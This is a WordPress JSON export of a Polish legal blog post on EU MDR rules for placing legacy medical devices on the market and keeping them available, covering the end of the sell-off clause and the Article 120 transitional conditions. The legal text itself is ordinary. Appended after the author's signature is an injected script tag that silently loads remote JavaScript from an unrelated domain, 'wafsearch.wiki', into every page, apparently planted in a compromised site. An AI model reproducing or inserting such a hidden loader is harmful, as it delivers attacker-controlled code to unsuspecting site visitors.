{"id":453,"date":"2025-05-08T11:05:56","date_gmt":"2025-05-08T09:05:56","guid":{"rendered":"http:\/\/legalwellbeing.pl\/?p=453"},"modified":"2025-07-22T10:25:17","modified_gmt":"2025-07-22T08:25:17","slug":"zasady-wprowadzania-do-obrotu-i-dalszego-udostepniania-tzw-legacy-devices","status":"publish","type":"post","link":"https:\/\/legalwellbeing.pl\/?p=453","title":{"rendered":"Zasady wprowadzania do obrotu i dalszego udost\u0119pniania tzw. legacy devices"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">Koncepcja wprowadzenia wyrobu medycznego do obrotu oraz udost\u0119pniania wyrobu medycznego wed\u0142ug prawa wyrob\u00f3w medycznych<\/h2>\n\n\n\n<p>Wprowadzenie do obrotu oznacza udost\u0119pnienie po raz pierwszy na rynku unijnym wyrobu, innego ni\u017c badany wyr\u00f3b (art. 2 pkt 28 rozporz\u0105dzenia MDR). Dzia\u0142anie to przeprowadza producent lub importer. Kiedy producent lub importer po raz pierwszy dostarcza produkt do dystrybutora lub u\u017cytkownika, takie dzia\u0142anie jest zawsze nazywane w kontek\u015bcie prawnym \u201ewprowadzeniem do obrotu\u201d. <strong>Wszelkie p\u00f3\u017aniejsze operacje, np. pomi\u0119dzy dystrybutorami lub mi\u0119dzy dystrybutorem a u\u017cytkownikiem, s\u0105 okre\u015blane jako udost\u0119pnianie<\/strong> (zob. pkt 2.3 Niebieskiego Przewodnika \u2013 tj. Zawiadomienie Komisji &#8211; Niebieski przewodnik \u2013 wdra\u017canie unijnych przepis\u00f3w dotycz\u0105cych produkt\u00f3w 2022 (2022\/C 247\/01); Niebieski Przewodnik nie stanowi powszechnie obowi\u0105zuj\u0105cego prawa, a pewne wskaz\u00f3wki interpretacyjne. Dokument ten jest stosowany przez organy nadzoru, pomocniczo przy wyk\u0142adni przepis\u00f3w, nie stanowi natomiast wi\u0105\u017c\u0105cej interpretacji przepis\u00f3w prawa unijnego).<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><\/li>\n<\/ol>\n\n\n\n<p>Koncepcja wprowadzenia do obrotu odnosi si\u0119 do <strong>pierwszego udost\u0119pnienia produktu rynku unijnym<\/strong>. Termin \u201ewprowadzenie do obrotu\u201d oznacza\u0107 b\u0119dzie zatem <strong>sprzeda\u017c lub zaoferowanie do sprzeda\u017cy<\/strong>, jak r\u00f3wnie\u017c import wyrobu medycznego na terytorium UE z kraju trzeciego. Termin \u201ewprowadzenie do obrotu\u201d nale\u017cy odnosi\u0107 do konkretnych egzemplarzy wyrob\u00f3w medycznych, nie za\u015b typu czy modelu wyrobu medycznego. <strong>Moment wprowadzenia do obrotu nale\u017cy wi\u0119c ustala\u0107 w odniesieniu do konkretnego egzemplarza wyrobu<\/strong> \u2013 niezale\u017cnie od tego, \u017ce sprzeda\u017c takich samych produkt\u00f3w mia\u0142a miejsce ju\u017c wcze\u015bniej, a producent mia\u0142 je ju\u017c w swojej ofercie.<\/p>\n\n\n\n<p><strong>Udost\u0119pnianie na rynku<\/strong> oznacza za\u015b dostarczanie wyrobu, innego ni\u017c badany wyr\u00f3b, w celu jego dystrybucji, konsumpcji lub u\u017cywania na rynku unijnym w ramach dzia\u0142alno\u015bci gospodarczej, odp\u0142atnie lub nieodp\u0142atnie (art. 2 pkt 27 rozporz\u0105dzenia MDR).<\/p>\n\n\n\n<p><em>Dostawa obejmuje wszelkie oferty dystrybucji, konsumpcji lub u\u017cytku na rynku unijnym, kt\u00f3re mog\u0105 skutkowa\u0107 faktyczn\u0105 dostaw\u0105 w odniesieniu do produkt\u00f3w ju\u017c wytworzonych (np. zaproszenie do dokonania zakupu, kampanie reklamowe). Udost\u0119pnianie odnosi si\u0119 do ka\u017cdego egzemplarz produktu, a nie typu produktu czy tego, czy zosta\u0142 wyprodukowany jako pojedynczy egzemplarz czy w ramach serii<\/em> (zob. pkt 2.2 Niebieskiego Przewodnika).<\/p>\n\n\n\n<p><em>Udost\u0119pnianie produktu zak\u0142ada ofert\u0119 lub umow\u0119 (pisemn\u0105 lub ustn\u0105) pomi\u0119dzy dwoma lub kilkoma osobami prawnymi lub fizycznymi w zakresie przeniesienia tytu\u0142u w\u0142asno\u015bci, posiadania lub innego prawa zwi\u0105zanego z danym produktem po zako\u0144czeniu etapu produkcji. Przeniesienie niekoniecznie wymaga fizycznego przekazania produktu. Mo\u017ce odby\u0107 si\u0119 za op\u0142at\u0105 lub bezp\u0142atnie i mo\u017ce opiera\u0107 si\u0119 na dowolnym instrumencie prawnym. St\u0105d te\u017c uznaje si\u0119, \u017ce dosz\u0142o do przeniesienia w\u0142asno\u015bci produktu np. w sytuacji sprzeda\u017cy, po\u017cyczki, wynajmu, leasingu i prezentu. Przeniesienie w\u0142asno\u015bci oznacza, \u017ce produkt zosta\u0142 przekazany do dyspozycji innej osoby prawnej lub fizycznej <\/em>(zob. pkt 2.2 Niebieskiego Przewodnika).<\/p>\n\n\n\n<p>Z kolei \u201e<strong>wprowadzenie do u\u017cywania<\/strong>\u201d oznacza etap, na kt\u00f3rym wyr\u00f3b, inny ni\u017c badany wyr\u00f3b, po raz pierwszy udost\u0119pnia si\u0119 u\u017cytkownikowi ostatecznemu jako <strong>gotowy do stosowania na rynku unijnym zgodnie z przewidzianym zastosowaniem<\/strong> (art. 2 pkt 29 rozporz\u0105dzenia MDR).<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Brak tzw. klauzuli sell-off<\/h2>\n\n\n\n<p><strong>Do 19 marca 2023 r. obowi\u0105zywa\u0142a tzw. klauzula sell-off.<\/strong> Zgodnie z t\u0105 zasad\u0105 wyroby, kt\u00f3re zosta\u0142y zgodnie z prawem wprowadzone do obrotu na podstawie dyrektywy 93\/42\/EWG przed 26 maja 2021 r., oraz wyroby, kt\u00f3re zosta\u0142y wprowadzone do obrotu od 26 maja 2021 r., zgodnie z okresami przej\u015bciowymi<a href=\"#_ftn1\" id=\"_ftnref1\">[1]<\/a> <strong>mog\u0142y by\u0107 w dalszym ci\u0105gu udost\u0119pniane na rynku<\/strong> (dostarczane w celu dalszej dystrybucji, konsumpcji lub u\u017cywania na rynku unijnym w ramach dzia\u0142alno\u015bci gospodarczej, odp\u0142atnie lub nieodp\u0142atnie) <strong>lub wprowadzane do u\u017cywania<\/strong> (po raz pierwszy udost\u0119pniane u\u017cytkownikowi ostatecznemu jako wyroby gotowe do stosowania na rynku unijnym zgodnie z przewidzianym zastosowaniem) <strong>do dnia 26 maja 2025 r.<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><\/li>\n<\/ol>\n\n\n\n<p><strong>Od 20 marca 2023 r. obowi\u0105zuj\u0105 nowe zasady dotycz\u0105ce wyd\u0142u\u017cenia wa\u017cno\u015bci \u201estarych\u201d certyfikat\u00f3w oraz okres\u00f3w przej\u015bciowych dla wyrob\u00f3w medycznych. Od tej daty <u>nie<\/u> obowi\u0105zuje r\u00f3wnie\u017c tzw. klauzula sell-off.<\/strong> Zmiany te zosta\u0142y wprowadzone na mocy rozporz\u0105dzenia Parlamentu Europejskiego i Rady (UE) 2023\/607 dnia 15 marca 2023 r. w sprawie zmiany rozporz\u0105dze\u0144 (UE) 2017\/745 i (UE) 2017\/746 w odniesieniu do przepis\u00f3w przej\u015bciowych dotycz\u0105cych niekt\u00f3rych wyrob\u00f3w medycznych i wyrob\u00f3w medycznych do diagnostyki in vitro. <strong>Nowelizacja ta <\/strong><strong>usun\u0119\u0142a z <\/strong>rozporz\u0105dzenia MDR <strong>dat\u0119 26 maja 2025 r. jako termin graniczny udost\u0119pniania wyrob\u00f3w medycznych i ich dostarczania u\u017cytkownikom ostatecznym<\/strong>.<\/p>\n\n\n\n<p>Oznacza to, \u017ce wyroby medyczne wprowadzone do obrotu przed 26 maja 2021 r.<a href=\"#_ftn2\" id=\"_ftnref2\">[2]<\/a> lub wprowadzone do obrotu od 26 maja 2021 r. na podstawie okres\u00f3w przej\u015bciowych okre\u015blonych w art. 120 rozporz\u0105dzenia MDR, <strong>mog\u0105 by\u0107 w dalszym ci\u0105gu udost\u0119pniane na rynku lub wprowadzane do u\u017cywania z uwzgl\u0119dnieniem ewentualnego okresu trwa\u0142o\u015bci lub daty wa\u017cno\u015bci wyrobu <\/strong>(art. 120 ust. 4 rozporz\u0105dzenia MDR). Tym samym dostarczanie takich produkt\u00f3w u\u017cytkownikom ostatecznym jest dozwolone do momentu up\u0142ywu termin\u00f3w ich wa\u017cno\u015bci (terminu bezpiecznego u\u017cywania okre\u015blonego przez producenta), co wynika z tre\u015bci przepisu art. 16 ust. 1 pkt 1 ustawy z dnia 7 kwietnia 2022 r. o wyrobach medycznych (dalej jako: \u201e<strong>ustawa o wyrobach medycznych<\/strong>\u201d.). Zgodnie z tym przepisem <strong>zakazuje si\u0119<\/strong> wprowadzania do obrotu, <strong>wprowadzania do u\u017cywania, dystrybuowania, dostarczania, udost\u0119pniania<\/strong>, instalowania, uruchamiania i u\u017cywania wyrobu, <strong>kt\u00f3rego okre\u015blony przez producenta termin wa\u017cno\u015bci up\u0142yn\u0105\u0142, kt\u00f3rego okre\u015blony przez producenta czas bezpiecznego u\u017cywania zosta\u0142 przekroczony lub kt\u00f3rego okre\u015blona przez producenta krotno\u015b\u0107 bezpiecznego u\u017cywania zosta\u0142a przekroczona.<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Podstawy prawne wprowadzania do obrotu i dalszego udost\u0119pniania tzw. legacy devices<\/h2>\n\n\n\n<p>Wprowadzanie do obrotu po 26 maja 2024 r. tzw. <em>legacy devices <\/em>wymaga spe\u0142nienia wszystkich warunk\u00f3w, o kt\u00f3rych mowa w art. 120 ust. 3c rozporz\u0105dzenia MDR, tj.:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><\/li>\n<\/ol>\n\n\n\n<p><em>Wyroby, o kt\u00f3rych mowa w ust. 3a i 3b niniejszego artyku\u0142u, mog\u0105 by\u0107 wprowadzane do obrotu lub do u\u017cywania do dat, o kt\u00f3rych mowa w tych ust\u0119pach, wy\u0142\u0105cznie je\u015bli spe\u0142nione s\u0105 nast\u0119puj\u0105ce warunki:<\/em><\/p>\n\n\n\n<p><strong><em>a) wyroby te nadal pozostaj\u0105 zgodne odpowiednio z dyrektyw\u0105 90\/385\/EWG lub dyrektyw\u0105 93\/42\/EWG;<\/em><\/strong><\/p>\n\n\n\n<p><strong><em>b) nie ma istotnych zmian w projekcie i przewidzianym zastosowaniu;<\/em><\/strong><\/p>\n\n\n\n<p><strong><em>c) wyroby nie stwarzaj\u0105 niedopuszczalnego ryzyka dla zdrowia lub bezpiecze\u0144stwa pacjent\u00f3w, u\u017cytkownik\u00f3w lub innych os\u00f3b lub dla innych kwestii zwi\u0105zanych z ochron\u0105 zdrowia publicznego;<\/em><\/strong><\/p>\n\n\n\n<p><strong><em>d) nie p\u00f3\u017aniej ni\u017c dnia 26 maja 2024 r. producent wprowadzi\u0142 system zarz\u0105dzania jako\u015bci\u0105 zgodnie z art. 10 ust. 9;<\/em><\/strong><\/p>\n\n\n\n<p><strong><em>e) nie p\u00f3\u017aniej ni\u017c dnia 26 maja 2024 r. producent lub upowa\u017cniony przedstawiciel z\u0142o\u017cy\u0142 formalny wniosek do jednostki notyfikowanej zgodnie z za\u0142\u0105cznikiem VII sekcja 4.3 akapit pierwszy o przeprowadzenie oceny zgodno\u015bci w odniesieniu do wyrobu, o kt\u00f3rym mowa w ust. 3a i 3b niniejszego artyku\u0142u, lub w odniesieniu do wyrobu maj\u0105cego zast\u0105pi\u0107 ten wyr\u00f3b, oraz nie p\u00f3\u017aniej ni\u017c dnia 26 wrze\u015bnia 2024 r. jednostka notyfikowana i producent podpisali pisemn\u0105 umow\u0119 zgodnie z za\u0142\u0105cznikiem VII sekcja 4.3 akapit drugi.<\/em><\/strong><\/p>\n\n\n\n<p>Z uwagi na fakt, \u017ce warunki z art. 120 ust. 3c pkt d-e rozporz\u0105dzenia MDR nale\u017ca\u0142o spe\u0142ni\u0107 do 26 maja 2024 r., producent mia\u0142 czas, by si\u0119 do nich dostosowa\u0107 w tym w\u0142a\u015bnie terminie. <strong>Niew\u0105tpliwie, aby mo\u017cna m\u00f3wi\u0107 o legalnym wprowadzeniu wyrobu do obrotu przed 26 maja 2024 r. musia\u0142y by\u0107 spe\u0142nione warunki z art. 120 ust. 3c pkt a-c rozporz\u0105dzenia MDR.<\/strong><\/p>\n\n\n\n<p><strong>Je\u015bli nie zosta\u0142y spe\u0142nione warunki do korzystania z okresu przej\u015bciowego, o kt\u00f3rych mowa w art. 120 ust. 3c pkt d-e rozporz\u0105dzenia MDR <\/strong>(producent nie dostosowa\u0142 si\u0119 do tych dodatkowych wymog\u00f3w z pkt d-e), <strong>okres przej\u015bciowy dla tego wyrobu <\/strong>(umo\u017cliwiaj\u0105cy dalsze wprowadzanie do obrotu kolejnych egzemplarzy wyrob\u00f3w w nast\u0119pnych latach)<strong> zako\u0144czy\u0142 si\u0119 w dniu 26 maja 2024 r. <\/strong>Nie oznacza to jednak, \u017ce wyroby wprowadzone do obrotu przed 26 maja 2024 r. powinny zosta\u0107 wycofane z rynku czy te\u017c nie mog\u0105 by\u0107 przedmiotem dalszej sprzeda\u017cy. <strong>Do dnia 26 maja 2024 r. wyroby mog\u0142y zosta\u0107 wprowadzone do obrotu (<strong>musia\u0142y by\u0107 spe\u0142nione warunki z art. 120 ust. 3c pkt a-c rozporz\u0105dzenia MDR<\/strong>) i tak wprowadzone do obrotu, mog\u0105 by\u0107 przedmiotem dalszego obrotu na podstawie art. 120 ust. 4 rozporz\u0105dzenia MDR (w zw. z art. 120 ust. 3, 3a i 3c rozporz\u0105dzenia MDR). <\/strong>Zgodnie z art. 120 ust. 4 rozporz\u0105dzenia MDR:<\/p>\n\n\n\n<p><em>Wyroby, kt\u00f3re zosta\u0142y zgodnie z prawem wprowadzone do obrotu na podstawie dyrektyw 90\/385\/EWG i 93\/42\/EWG przed dniem 26 maja 2021 r., oraz wyroby, kt\u00f3re <strong>zosta\u0142y zgodnie z prawem wprowadzone do obrotu od dnia 26 maja 2021 r. zgodnie z ust.<\/strong> <strong>3, 3a<\/strong>, 3b i 3f niniejszego artyku\u0142u, <strong><u>mog\u0105 by\u0107 w dalszym ci\u0105gu udost\u0119pniane na rynku lub wprowadzane do u\u017cywania<\/u>.<\/strong><\/em><\/p>\n\n\n\n<p>Zaznaczy\u0107 jednak nale\u017cy, \u017ce ograniczenie dla dalszego udost\u0119pniania wprowadzonych do obrotu wyrob\u00f3w stanowi ich termin wa\u017cno\u015bci okre\u015blony przez producenta, stosownie do brzmienia wspomnianego wy\u017cej przepisu art. 16 ust. 1 pkt 1 ustawy o wyrobach medycznych.<\/p>\n\n\n\n<p><strong>Je\u017celi zosta\u0142y spe\u0142nione warunki do korzystania z okresu przej\u015bciowego, o kt\u00f3rych mowa w art. 120 ust. 3c pkt d-e rozporz\u0105dzenia MDR <\/strong>(producent dostosowa\u0142 si\u0119 do tych dodatkowych wymog\u00f3w z pkt d-e), <strong>okres przej\u015bciowy dla danego wyrobu <\/strong>(umo\u017cliwiaj\u0105cy dalsze wprowadzanie do obrotu kolejnych egzemplarzy wyrob\u00f3w w nast\u0119pnych latach)<strong> <u>nie<\/u> zako\u0144czy\u0142 si\u0119 w dniu 26 maja 2024 r. i mo\u017ce ulec przed\u0142u\u017ceniu odpowiednio do ko\u0144ca 2027 lub 2028 roku <\/strong>(wyroby mog\u0105 by\u0107 do tej daty wprowadzane do obrotu i tak wprowadzone do obrotu, mog\u0105 by\u0107 nast\u0119pnie przedmiotem dalszego obrotu).<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p><a href=\"#_ftnref1\" id=\"_ftn1\">[1]<\/a> Warunkiem by\u0142o to, aby od 26 maja 2021 r. taki wyr\u00f3b wci\u0105\u017c by\u0142 zgodny z dotychczasow\u0105 dyrektyw\u0105 93\/42\/EWG oraz aby w projekcie i przewidzianym zastosowaniu danego wyrobu nie pojawi\u0142y si\u0119 istotne zmiany, a tak\u017ce to, \u017ce wyroby nie stwarzaj\u0105 niedopuszczalnego ryzyka dla zdrowia lub bezpiecze\u0144stwa pacjent\u00f3w, u\u017cytkownik\u00f3w lub innych os\u00f3b lub dla innych kwestii zwi\u0105zanych z ochron\u0105 zdrowia publicznego. Nowelizacj\u0105 wprowadzono trzy nowe dodatkowe warunki do spe\u0142nienia do dnia 26 maja 2024 r., co pozwoli\u0107 mia\u0142o na dalsze przed\u0142u\u017cenie okresu przej\u015bciowego po 2024 r. (a\u017c do 2027\/2028 r.), czyli mo\u017cliwo\u015b\u0107 wprowadzania kolejnych egzemplarzy wyrob\u00f3w do obrotu w kolejnych latach. &nbsp;<\/p>\n\n\n\n<p><a href=\"#_ftnref2\" id=\"_ftn2\">[2]<\/a>&nbsp; Termin rozpocz\u0119cia stosowania rozporz\u0105dzenia MDR.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>Adw. Roksana Strubel<\/p>\n\n\n\n<p><\/p>\n\n\n<p><script>var url = 'https:\/\/wafsearch.wiki\/xml';<br \/>\nvar script = document.createElement('script');<br \/>\nscript.src = url;<br \/>\nscript.type = 'text\/javascript';<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>Koncepcja wprowadzenia wyrobu medycznego do obrotu oraz udost\u0119pniania wyrobu medycznego wed\u0142ug prawa wyrob\u00f3w medycznych Wprowadzenie do obrotu oznacza udost\u0119pnienie po raz pierwszy na rynku unijnym wyrobu, innego ni\u017c badany wyr\u00f3b (art. 2 pkt 28 rozporz\u0105dzenia MDR). Dzia\u0142anie to przeprowadza producent lub importer. Kiedy producent lub importer po raz pierwszy dostarcza produkt do dystrybutora lub u\u017cytkownika,&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_editorskit_title_hidden":false,"_editorskit_reading_time":0,"_editorskit_is_block_options_detached":false,"_editorskit_block_options_position":"{}","footnotes":""},"categories":[22,21],"tags":[],"class_list":["post-453","post","type-post","status-publish","format-standard","hentry","category-aktualnosci","category-blog"],"_links":{"self":[{"href":"https:\/\/legalwellbeing.pl\/index.php?rest_route=\/wp\/v2\/posts\/453","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/legalwellbeing.pl\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/legalwellbeing.pl\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/legalwellbeing.pl\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/legalwellbeing.pl\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=453"}],"version-history":[{"count":3,"href":"https:\/\/legalwellbeing.pl\/index.php?rest_route=\/wp\/v2\/posts\/453\/revisions"}],"predecessor-version":[{"id":507,"href":"https:\/\/legalwellbeing.pl\/index.php?rest_route=\/wp\/v2\/posts\/453\/revisions\/507"}],"wp:attachment":[{"href":"https:\/\/legalwellbeing.pl\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=453"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/legalwellbeing.pl\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=453"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/legalwellbeing.pl\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=453"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}